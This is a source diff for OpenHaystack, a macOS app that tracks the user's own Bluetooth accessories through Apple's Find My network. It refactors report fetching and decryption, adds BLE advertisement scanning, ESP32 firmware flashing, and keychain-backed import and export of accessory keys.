     size_t keySize = 28 + 1;
     NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
-    
+
     size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
+
+    //Free
+    EC_KEY_free(key);
+    EC_GROUP_free(curve);
     
     if (size == 0) {
         return nil;
     }
-    
+
     return publicKeyBytes;
 }
 
-+ (NSData * _Nullable)generateNewPrivateKey {
++ (NSData *_Nullable)generateNewPrivateKey {
     EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
     if (EC_KEY_generate_key_fips(key) == 0) {
         return nil;
     }
-    
+
     const BIGNUM *privateKey = EC_KEY_get0_private_key(key);
     size_t keySize = BN_num_bytes(privateKey);
-    //Convert to bytes
+    // Convert to bytes
     NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
-    
-    
+
     size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
     
+    
+
+    EC_KEY_free(key); 
     if (size == 0) {
         return nil;
     }
-    
+
     return privateKeyBytes;
 }
 
-+ (void) printPoint: (const EC_POINT *)point withGroup:(EC_GROUP *)group {
++ (void)printPoint:(const EC_POINT *)point withGroup:(EC_GROUP *)group {
     NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];
-    
+
     size_t len = pointData.length;
     BN_CTX *ctx = BN_CTX_new();
     BN_CTX_start(ctx);
     size_t res = EC_POINT_point2oct(group, point, POINT_CONVERSION_UNCOMPRESSED, pointData.mutableBytes, len, ctx);
-    //Free the big numbers
+    // Free the big numbers
     BN_CTX_free(ctx);
-    
+
     NSData *written = [[NSData alloc] initWithBytes:pointData.bytes length:res];
-        
+
     NSLog(@"Point data is: %@", [written base64EncodedStringWithOptions:0]);
 }
 

OpenHaystack/OpenHaystack/FindMy/DecryptReports.swift

@@ -1,16 +1,19 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import CryptoKit
+import Foundation
 
 struct DecryptReports {
 
-    /// Decrypt a find my report with the according key
+    /// Decrypt a find my report with the according key.
+    ///
     /// - Parameters:
     ///   - report: An encrypted FindMy Report
     ///   - key: A FindMyKey
@@ -40,7 +43,8 @@ struct DecryptReports {
         return locationReport
     }
 
-    /// Decrypt the payload
+    /// Decrypt the payload.
+    ///
     /// - Parameters:
     ///   - payload: Encrypted payload part
     ///   - symmetricKey: Symmetric key
@@ -63,18 +67,18 @@ struct DecryptReports {
 
     static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
         var longitude: Int32 = 0
-        _ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
+        _ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
         longitude = Int32(bigEndian: longitude)
 
         var latitude: Int32 = 0
-        _ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
+        _ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
         latitude = Int32(bigEndian: latitude)
 
         var accuracy: UInt8 = 0
-        _ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
+        _ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
 
-        let latitudeDec = Double(latitude)/10000000.0
-        let longitudeDec = Double(longitude)/10000000.0
+        let latitudeDec = Double(latitude) / 10000000.0
+        let longitudeDec = Double(longitude) / 10000000.0
 
         return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
     }

OpenHaystack/OpenHaystack/FindMy/FindMyController.swift

@@ -1,17 +1,18 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
-import SwiftUI
 import Combine
+import Foundation
+import OSLog
+import SwiftUI
 
 class FindMyController: ObservableObject {
-    static let shared = FindMyController()
-
     @Published var error: Error?
     @Published var devices = [FindMyDevice]()
 
@@ -26,12 +27,16 @@ class FindMyController: ObservableObject {
         }
     }
 
-    func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
+    func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void) throws {
         let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
         self.devices = devices
 
         // Decrypt the reports with the imported keys
-        DispatchQueue.global(qos: .background).async {
+        DispatchQueue.global(qos: .background).async { [weak self] in
+            guard let self = self else {
+                completion()
+                return
+            }
 
             var d = self.devices
             // Add the reports to the according device by finding the right key for the report
@@ -56,8 +61,8 @@ class FindMyController: ObservableObject {
             }
 
             // Decrypt the reports
-            self.decryptReports {
-                self.exportDevices()
+            self.decryptReports { [weak self] in
+                self?.exportDevices()
                 DispatchQueue.main.async {
                     completion()
                 }
@@ -76,15 +81,42 @@ class FindMyController: ObservableObject {
 
         self.devices = devices
 
-        // Decrypt reports again with additional information 
+        // Decrypt reports again with additional information
         self.decryptReports {
 
         }
     }
 
+    func fetchReports(for accessories: [Accessory], with token: Data, completion: @escaping (Result<[FindMyDevice], Error>) -> Void) {
+        let findMyDevices = accessories.compactMap({ acc -> FindMyDevice? in
+            do {
+                return try acc.toFindMyDevice()
+            } catch {
+                os_log("Failed getting id for key %@", String(describing: error))
+                return nil
+            }
+        })
+
+        self.devices = findMyDevices
+
+        self.fetchReports(with: token) { error in
+
+            if let error = error {
+                completion(.failure(error))
+                os_log("Error: %@", String(describing: error))
+            } else {
+                completion(.success(self.devices))
+            }
+        }
+    }
+
     func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
 
-        DispatchQueue.global(qos: .background).async {
+        DispatchQueue.global(qos: .background).async { [weak self] in
+            guard let self = self else {
+                completion(FindMyErrors.objectReleased)
+                return
+            }
             let fetchReportGroup = DispatchGroup()
 
             let fetcher = ReportsFetcher()
@@ -97,10 +129,10 @@ class FindMyController: ObservableObject {
                 // Only use the newest keys for testing
                 let keys = devices[deviceIndex].keys
 
-                let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
+                let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
 
                 // 21 days
-                let duration: Double =  (24 * 60 * 60) * 21
+                let duration: Double = (24 * 60 * 60) * 21
                 let startDate = Date() - duration
 
                 fetcher.query(forHashes: keyHashes, start: startDate, duration: duration, searchPartyToken: searchPartyToken) { jd in
@@ -136,13 +168,17 @@ class FindMyController: ObservableObject {
                 }
 
                 #if EXPORT
-                if let encoded = try? JSONEncoder().encode(reports) {
-                    let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
-                    try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
-                }
+                    if let encoded = try? JSONEncoder().encode(reports) {
+                        let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
+                        try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
+                    }
                 #endif
 
-                DispatchQueue.main.async {
+                DispatchQueue.main.async { [weak self] in
+                    guard let self = self else {
+                        completion(FindMyErrors.objectReleased)
+                        return
+                    }
                     self.devices = devices
 
                     self.decryptReports {
@@ -164,14 +200,14 @@ class FindMyController: ObservableObject {
             let device = devices[deviceIdx]
 
             // Map the keys in a dictionary for faster access
-            guard let reports = device.reports else {continue}
-            let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
+            guard let reports = device.reports else { continue }
+            let keyMap = device.keys.reduce(into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
 
             let accessQueue = DispatchQueue(label: "threadSafeAccess", qos: .userInitiated, attributes: .concurrent, autoreleaseFrequency: .workItem, target: nil)
             var decryptedReports = [FindMyLocationReport](repeating: FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0), count: reports.count)
             DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
                 let report = reports[reportIdx]
-                guard let key = keyMap[report.id] else {return}
+                guard let key = keyMap[report.id] else { return }
                 do {
                     // Decrypt the report
                     let locationReport = try DecryptReports.decrypt(report: report, with: key)
@@ -202,17 +238,7 @@ class FindMyController: ObservableObject {
 
 }
 
-struct FindMyControllerKey: EnvironmentKey {
-    static var defaultValue: FindMyController = .shared
-}
-
-extension EnvironmentValues {
-    var findMyController: FindMyController {
-        get {self[FindMyControllerKey.self]}
-        set {self[FindMyControllerKey.self] = newValue}
-    }
-}
-
 enum FindMyErrors: Error {
     case decodingPlistFailed(message: String)
+    case objectReleased
 }

OpenHaystack/OpenHaystack/FindMy/FindMyKeyDecoder.swift

@@ -1,20 +1,24 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import CryptoKit
+import Foundation
 
 /// Decode key files found in newer macOS versions.
 class FindMyKeyDecoder {
-    /// Key files can be in different format. The old <= 10.15.3 have been using normal plists. Newer once use a binary format which needs different parsing
+    /// Key files can be in different format.
+    ///
+    /// The old <= 10.15.3 have been using normal plists. Newer once use a binary format which needs different parsing.
     enum KeyFileFormat {
         /// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key file format that can be parsed identically.
         /// macOS 10.15.7 uses a new key file format that has not been reversed yet.
-        /// (The key files are protected by sandboxing and only usable from a SIP disabled) 
+        /// (The key files are protected by sandboxing and only usable from a SIP disabled)
         case catalina_10_15_4
     }
 
@@ -59,7 +63,7 @@ class FindMyKeyDecoder {
 
         while i + 117 < keyFile.count {
             // We could not identify what those keys were
-            _ = keyFile.subdata(in: i..<i+32)
+            _ = keyFile.subdata(in: i..<i + 32)
             i += 32
             if keyFile[i] == 0x00 {
                 // Public key only.
@@ -72,9 +76,9 @@ class FindMyKeyDecoder {
                 throw ParsingError.wrongFormat
             }
             // Step over 0x01
-            i+=1
+            i += 1
             // Read the key (starting with 0x04)
-            let fullKey = keyFile.subdata(in: i..<i+85)
+            let fullKey = keyFile.subdata(in: i..<i + 85)
             i += 85
             // Create the sub keys. No actual need, but we do that to put them into a similar format as used before 10.15.4
             let advertisedKey = fullKey.subdata(in: 1..<29)
@@ -84,14 +88,15 @@ class FindMyKeyDecoder {
             shaDigest.update(data: advertisedKey)
             let hashedKey = Data(shaDigest.finalize())
 
-            let fmKey = FindMyKey(advertisedKey: advertisedKey,
-                                  hashedKey: hashedKey,
-                                  privateKey: fullKey,
-                                  startTime: nil,
-                                  duration: nil,
-                                  pu: nil,
-                                  yCoordinate: yCoordinate,
-                                  fullKey: fullKey)
+            let fmKey = FindMyKey(
+                advertisedKey: advertisedKey,
+                hashedKey: hashedKey,
+                privateKey: fullKey,
+                startTime: nil,
+                duration: nil,
+                pu: nil,
+                yCoordinate: yCoordinate,
+                fullKey: fullKey)
 
             keys.append(fmKey)
         }

OpenHaystack/OpenHaystack/FindMy/Models.swift

@@ -1,12 +1,14 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import CoreLocation
+import Foundation
 
 struct FindMyDevice: Codable, Hashable {
 
@@ -15,7 +17,7 @@ struct FindMyDevice: Codable, Hashable {
 
     var catalinaBigSurKeyFiles: [Data]?
 
-    /// KeyHash: Report results
+    /// KeyHash: Report results.
     var reports: [FindMyReport]?
 
     var decryptedReports: [FindMyLocationReport]?
@@ -65,22 +67,22 @@ struct FindMyKey: Codable {
         self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
     }
 
-    /// The advertising key
+    /// The advertising key.
     let advertisedKey: Data
-    /// Hashed advertisement key using SHA256
+    /// Hashed advertisement key using SHA256.
     let hashedKey: Data
-    /// The private key from which the advertisement keys can be derived
+    /// The private key from which the advertisement keys can be derived.
     let privateKey: Data
-    /// When this key was used to send out BLE advertisements
+    /// When this key was used to send out BLE advertisements.
     let startTime: Date?
-    /// Duration from start time how long the key has been used to send out BLE advertisements
+    /// Duration from start time how long the key has been used to send out BLE advertisements.
     let duration: Double?
     /// ?
     let pu: Data?
 
-    /// As exported from Big Sur
+    /// As exported from Big Sur.
     let yCoordinate: Data?
-    /// As exported from BigSur
+    /// As exported from Big Sur.
     let fullKey: Data?
 }
 
@@ -108,7 +110,7 @@ struct FindMyReport: Codable {
         let values = try decoder.container(keyedBy: CodingKeys.self)
         let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
         // Convert from milis to time interval
-        let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
+        let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
         let df = DateFormatter()
         df.dateFormat = "YYYY-MM-dd"
 

OpenHaystack/OpenHaystack/HaystackApp/AccessoryController.swift

@@ -1,49 +1,206 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
+import Combine
 import Foundation
+import OSLog
+import SwiftUI
 
 class AccessoryController: ObservableObject {
-    static let shared = AccessoryController()
-
     @Published var accessories: [Accessory]
+    var selfObserver: AnyCancellable?
+    var listElementsObserver = [AnyCancellable]()
+    let findMyController: FindMyController
 
-    init() {
-        self.accessories = KeychainController.loadAccessoriesFromKeychain()
+    init(accessories: [Accessory], findMyController: FindMyController) {
+        self.accessories = accessories
+        self.findMyController = findMyController
+        initAccessoryObserver()
+        initObserver()
     }
 
-    init(accessories: [Accessory]) {
-        self.accessories = accessories
+    convenience init() {
+        self.init(accessories: KeychainController.loadAccessoriesFromKeychain(), findMyController: FindMyController())
+    }
+
+    func initAccessoryObserver() {
+        self.selfObserver = self.objectWillChange.sink { [weak self] _ in
+            // objectWillChange is called before the values are actually changed,
+            // so we dispatch the call to save()
+            DispatchQueue.main.async { [weak self] in
+                self?.initObserver()
+                try? self?.save()
+            }
+        }
+    }
+
+    func initObserver() {
+        self.listElementsObserver.forEach({
+            $0.cancel()
+        })
+        self.accessories.forEach({
+            let c = $0.objectWillChange.sink(receiveValue: { [weak self] in self?.objectWillChange.send() })
+            // Important: You have to keep the returned value allocated,
+            // otherwise the sink subscription gets cancelled
+            self.listElementsObserver.append(c)
+        })
     }
 
     func save() throws {
         try KeychainController.storeInKeychain(accessories: self.accessories)
     }
 
-    func load() {
-        self.accessories = KeychainController.loadAccessoriesFromKeychain()
-    }
-
     func updateWithDecryptedReports(devices: [FindMyDevice]) {
         // Assign last locations
-        for device in FindMyController.shared.devices {
-            if let idx = self.accessories.firstIndex(where: {$0.id == Int(device.deviceId)}) {
+        for device in devices {
+            if let idx = self.accessories.firstIndex(where: { $0.id == Int(device.deviceId) }) {
                 self.objectWillChange.send()
                 let accessory = self.accessories[idx]
 
                 let report = device.decryptedReports?
-                    .sorted(by: {$0.timestamp ?? Date.distantPast > $1.timestamp  ?? Date.distantPast })
+                    .sorted(by: { $0.timestamp ?? Date.distantPast > $1.timestamp ?? Date.distantPast })
                     .first
 
                 accessory.lastLocation = report?.location
                 accessory.locationTimestamp = report?.timestamp
-
-                self.accessories[idx] = accessory
+                accessory.locations = device.decryptedReports
             }
         }
     }
+
+    func delete(accessory: Accessory) throws {
+        var accessories = self.accessories
+        guard let idx = accessories.firstIndex(of: accessory) else { return }
+
+        accessories.remove(at: idx)
+
+        withAnimation {
+            self.accessories = accessories
+        }
+    }
+
+    func addAccessory() throws -> Accessory {
+        let accessory = try Accessory()
+        withAnimation {
+            self.accessories.append(accessory)
+        }
+        return accessory
+    }
+
+    /// Export the accessories property list so it can be imported at another location.
+    func export(accessories: [Accessory]) throws -> URL {
+        let propertyList = try PropertyListEncoder().encode(accessories)
+
+        let savePanel = NSSavePanel()
+        savePanel.allowedFileTypes = ["plist"]
+        savePanel.canCreateDirectories = true
+        savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
+        savePanel.message = "This export contains all private keys! Keep the file save to protect your location data"
+        savePanel.nameFieldLabel = "Filename"
+        savePanel.nameFieldStringValue = "openhaystack_accessories.plist"
+        savePanel.prompt = "Export"
+        savePanel.title = "Export accessories & keys"
+
+        let result = savePanel.runModal()
+
+        if result == .OK,
+            let url = savePanel.url
+        {
+            // Store the accessory file
+            try propertyList.write(to: url)
+
+            return url
+        }
+        throw ImportError.cancelled
+    }
+
+    /// Let the user select a file to import the accessories exported by another OpenHaystack instance.
+    func importAccessories() throws {
+        let openPanel = NSOpenPanel()
+        openPanel.allowedFileTypes = ["plist"]
+        openPanel.canCreateDirectories = true
+        openPanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
+        openPanel.message = "Import an accessories file that includes the private keys"
+        openPanel.prompt = "Import"
+        openPanel.title = "Import accessories & keys"
+
+        let result = openPanel.runModal()
+        if result == .OK,
+            let url = openPanel.url
+        {
+            let propertyList = try Data(contentsOf: url)
+            var importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: propertyList)
+
+            var updatedAccessories = self.accessories
+            // Filter out accessories with the same id (no duplicates)
+            importedAccessories = importedAccessories.filter({ acc in !self.accessories.contains(where: { acc.id == $0.id }) })
+            updatedAccessories.append(contentsOf: importedAccessories)
+            updatedAccessories.sort(by: { $0.name < $1.name })
+
+            self.accessories = updatedAccessories
+
+            //Update reports automatically. Do not report errors from here
+            self.downloadLocationReports { result in }
+        }
+    }
+
+    enum ImportError: Error {
+        case cancelled
+    }
+
+    //MARK: Location reports
+
+    /// Download the location reports from.
+    ///
+    /// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
+    func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) {
+        AnisetteDataManager.shared.requestAnisetteData { [weak self] result in
+            guard let self = self else {
+                completion(.failure(.noReportsFound))
+                return
+            }
+            switch result {
+            case .failure(_):
+                completion(.failure(.activatePlugin))
+            case .success(let accountData):
+
+                guard let token = accountData.searchPartyToken,
+                    token.isEmpty == false
+                else {
+                    completion(.failure(.searchPartyToken))
+                    return
+                }
+
+                self.findMyController.fetchReports(for: self.accessories, with: token) { [weak self] result in
+                    switch result {
+                    case .failure(let error):
+                        os_log(.error, "Downloading reports failed %@", error.localizedDescription)
+                        completion(.failure(.downloadingReportsFailed))
+                    case .success(let devices):
+                        let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
+                        if reports.isEmpty {
+                            completion(.failure(.noReportsFound))
+                        } else {
+                            self?.updateWithDecryptedReports(devices: devices)
+                            completion(.success(()))
+                        }
+                    }
+                }
+
+            }
+        }
+    }
+
+}
+
+class AccessoryControllerPreview: AccessoryController {
+    override func save() {
+        // don't allow saving dummy data to keychain
+    }
 }

OpenHaystack/OpenHaystack/HaystackApp/AccessoryNearbyMonitor.swift

@@ -0,0 +1,79 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import Foundation
+
+class AccessoryNearbyMonitor: BluetoothAccessoryDelegate {
+
+    var accessoryController: AccessoryController
+    var scanner: BluetoothAccessoryScanner
+
+    var cleanup: Timer?
+
+    init(accessoryController: AccessoryController) {
+        self.accessoryController = accessoryController
+        self.scanner = BluetoothAccessoryScanner()
+        self.initScanner()
+        self.initTimer()
+    }
+
+    func initScanner() {
+        self.scanner.delegate = self
+    }
+
+    func initTimer() {
+        self.cleanup = Timer.scheduledTimer(withTimeInterval: 1.0, repeats: true) { [weak self] _ in
+            self?.removeNearbyAccessories()
+        }
+    }
+
+    func received(_ advertisement: Advertisement) {
+        guard let accessory = getAccessoryForAdvertisement(advertisement) else {
+            return
+        }
+        updateNearbyAccessory(accessory)
+    }
+
+    func updateNearbyAccessory(_ accessory: Accessory) {
+        if !accessory.isNearby {
+            // Only set on state change
+            accessory.isNearby = true
+        }
+        accessory.lastAdvertisement = Date()
+    }
+
+    func removeNearbyAccessories(now: Date = Date(), timeout: TimeInterval = 10.0) {
+        let nearbyAccessories = self.accessoryController.accessories.filter({ $0.isNearby })
+        for accessory in nearbyAccessories {
+            guard let lastAdvertisement = accessory.lastAdvertisement else {
+                continue
+            }
+            if lastAdvertisement + timeout < now {
+                accessory.isNearby = false
+            }
+        }
+    }
+
+    func getAccessoryForAdvertisement(_ advertisement: Advertisement) -> Accessory? {
+        let accessory =
+            self.accessoryController.accessories.first {
+                isAdvertisement(advertisement, from: $0)
+            } ?? nil
+        return accessory
+    }
+
+    func isAdvertisement(_ advertisement: Advertisement, from: Accessory) -> Bool {
+        do {
+            let accessoryPublicKey = try from.getAdvertisementKey().advanced(by: 6)
+            return accessoryPublicKey == advertisement.publicKeyPayload
+        } catch {
+            return false
+        }
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Bluetooth/Advertisement.swift

@@ -0,0 +1,55 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import CoreBluetooth
+import Foundation
+
+struct Advertisement {
+
+    let publicKeyPayload: Data
+
+    init?(fromAdvertisementData: [String: Any]) {
+        guard let manufacturerData = fromAdvertisementData[CBAdvertisementDataManufacturerDataKey] as? Data else {
+            return nil
+        }
+        self.init(fromManufacturerData: manufacturerData)
+    }
+
+    init?(fromManufacturerData: Data) {
+        guard let publicKey = Advertisement.extractPublicKeyFromPayload(fromManufacturerData) else {
+            return nil
+        }
+        self.publicKeyPayload = publicKey
+    }
+
+    static let publicKeyPayloadLength = 22
+
+    static func extractPublicKeyFromPayload(_ payload: Data) -> Data? {
+        guard payload.count == 29 else {
+            return nil
+        }
+        // Apple company ID
+        guard payload.subdata(in: 0..<2) == Data([0x4c, 0x00]) else {
+            return nil
+        }
+        // Offline finding sub type
+        guard payload.subdata(in: 2..<3) == Data([0x12]) else {
+            return nil
+        }
+        // Offline finding sub type length
+        guard payload.subdata(in: 3..<4) == Data([0x19]) else {
+            return nil
+        }
+        let publicKey = payload.subdata(in: 5..<5 + publicKeyPayloadLength)
+        guard publicKey.count == publicKeyPayloadLength else {
+            return nil
+        }
+        return publicKey
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Bluetooth/BluetoothAccessoryScanner.swift

@@ -0,0 +1,47 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import CoreBluetooth
+import Foundation
+
+protocol BluetoothAccessoryDelegate {
+    func received(_ advertisement: Advertisement)
+}
+
+public class BluetoothAccessoryScanner: NSObject, CBCentralManagerDelegate {
+
+    var scanner: CBCentralManager!
+    var delegate: BluetoothAccessoryDelegate?
+
+    override init() {
+        super.init()
+        scanner = CBCentralManager(delegate: self, queue: DispatchQueue.main)
+    }
+
+    public func centralManagerDidUpdateState(_ central: CBCentralManager) {
+        startScanning(central)
+    }
+
+    private func startScanning(_ central: CBCentralManager) {
+        guard central.state == .poweredOn else {
+            return
+        }
+        let scanOptions = [
+            CBCentralManagerScanOptionAllowDuplicatesKey: false
+        ]
+        scanner.scanForPeripherals(withServices: nil, options: scanOptions)
+    }
+
+    public func centralManager(_ central: CBCentralManager, didDiscover peripheral: CBPeripheral, advertisementData: [String: Any], rssi RSSI: NSNumber) {
+        guard let adv = Advertisement(fromAdvertisementData: advertisementData) else {
+            return
+        }
+        self.delegate?.received(adv)
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/ESP32Controller.swift

@@ -0,0 +1,67 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import Foundation
+
+struct ESP32Controller {
+    static var espFirmwareDirectory: URL? {
+        Bundle.main.resourceURL?.appendingPathComponent("ESP32")
+    }
+
+    /// Tries to find the port / path at which the ESP32 module is attached.
+    static func findPort() -> [URL] {
+        // List all ports
+        let ports = try? FileManager.default.contentsOfDirectory(atPath: "/dev").filter({ $0.contains("cu.") })
+
+        let portURLs = ports?.map({ URL(fileURLWithPath: "/dev/\($0)") })
+
+        return portURLs ?? []
+    }
+
+    /// Runs the script to flash the firmware on an ESP32.
+    static func flashToESP32(accessory: Accessory, port: URL, completion: @escaping (Result<Void, Error>) -> Void) throws {
+
+        // Copy firmware to a temporary directory
+        let temp = NSTemporaryDirectory() + "OpenHaystack"
+        let urlTemp = URL(fileURLWithPath: temp)
+        try? FileManager.default.removeItem(at: urlTemp)
+
+        try? FileManager.default.createDirectory(atPath: temp, withIntermediateDirectories: false, attributes: nil)
+
+        guard let espDirectory = espFirmwareDirectory else { return }
+
+        try FileManager.default.copyFolder(from: espDirectory, to: urlTemp)
+        let scriptPath = urlTemp.appendingPathComponent("flash_esp32.sh")
+
+        let key = try accessory.getAdvertisementKey().base64EncodedString()
+        let arguments = ["-p", "\(port.path)", key]
+
+        let task = try NSUserUnixTask(url: scriptPath)
+        task.execute(withArguments: arguments) { e in
+            DispatchQueue.main.async {
+                if let error = e {
+                    completion(.failure(error))
+                } else {
+                    completion(.success(()))
+                }
+
+                // Delete the temporary folder
+                try? FileManager.default.removeItem(at: urlTemp)
+            }
+        }
+
+    }
+}
+
+enum FirmwareFlashError: Error {
+    /// Missing files for flashing
+    case notFound
+    /// Flashing / writing failed
+    case flashFailed
+}

OpenHaystack/OpenHaystack/HaystackApp/FileManager.swift

@@ -0,0 +1,44 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+import Foundation
+
+extension FileManager {
+
+    /// Copy a folder recursively.
+    ///
+    /// - Parameters:
+    ///   - from: Folder source
+    ///   - to: Folder destination
+    /// - Throws: An error if copying or acessing files fails
+    func copyFolder(from: URL, to: URL) throws {
+        // Create the folder
+        try? FileManager.default.createDirectory(at: to, withIntermediateDirectories: false, attributes: nil)
+
+        let files = try FileManager.default.contentsOfDirectory(atPath: from.path)
+        for file in files {
+            // Check if file is a folder
+            var isDir: ObjCBool = .init(booleanLiteral: false)
+            let fileURL = from.appendingPathComponent(file)
+            FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDir)
+
+            if isDir.boolValue == true {
+                try self.copyFolder(from: fileURL, to: to.appendingPathComponent(file))
+            } else {
+                do {
+                    // Copy file
+                    try FileManager.default.copyItem(at: fileURL, to: to.appendingPathComponent(file))
+                } catch {
+                    if fileURL.lastPathComponent != "CodeResources" {
+                        throw error
+                    }
+                }
+            }
+        }
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Firmwares/ESP32/.gitkeep

@@ -0,0 +1 @@
+(directory will be populated in CI release workflow)

OpenHaystack/OpenHaystack/HaystackApp/KeychainController.swift

@@ -1,23 +1,25 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import Foundation
-import Security
 import OSLog
+import Security
 
 struct KeychainController {
 
-    static func loadAccessoriesFromKeychain(test: Bool=false) -> [Accessory] {
+    static func loadAccessoriesFromKeychain(test: Bool = false) -> [Accessory] {
         var query: [CFString: Any] = [
             kSecClass: kSecClassGenericPassword,
             kSecAttrLabel: "FindMyAccessories",
             kSecAttrService: "SEEMOO-FINDMY",
             kSecMatchLimit: kSecMatchLimitOne,
-            kSecReturnData: true
+            kSecReturnData: true,
         ]
 
         if test {
@@ -27,7 +29,8 @@ struct KeychainController {
         var result: CFTypeRef?
         let status = SecItemCopyMatching(query as CFDictionary, &result)
         guard status == errSecSuccess,
-              let resultData = result as? Data else {
+            let resultData = result as? Data
+        else {
             return []
         }
 
@@ -42,13 +45,13 @@ struct KeychainController {
         return []
     }
 
-    static func storeInKeychain(accessories: [Accessory], test: Bool=false) throws {
+    static func storeInKeychain(accessories: [Accessory], test: Bool = false) throws {
         // Store or update
         var attributes: [CFString: Any] = [
             kSecClass: kSecClassGenericPassword,
             kSecAttrLabel: "FindMyAccessories",
             kSecAttrService: "SEEMOO-FINDMY",
-            kSecValueData: try PropertyListEncoder().encode(accessories)
+            kSecValueData: try PropertyListEncoder().encode(accessories),
         ]
 
         if test {
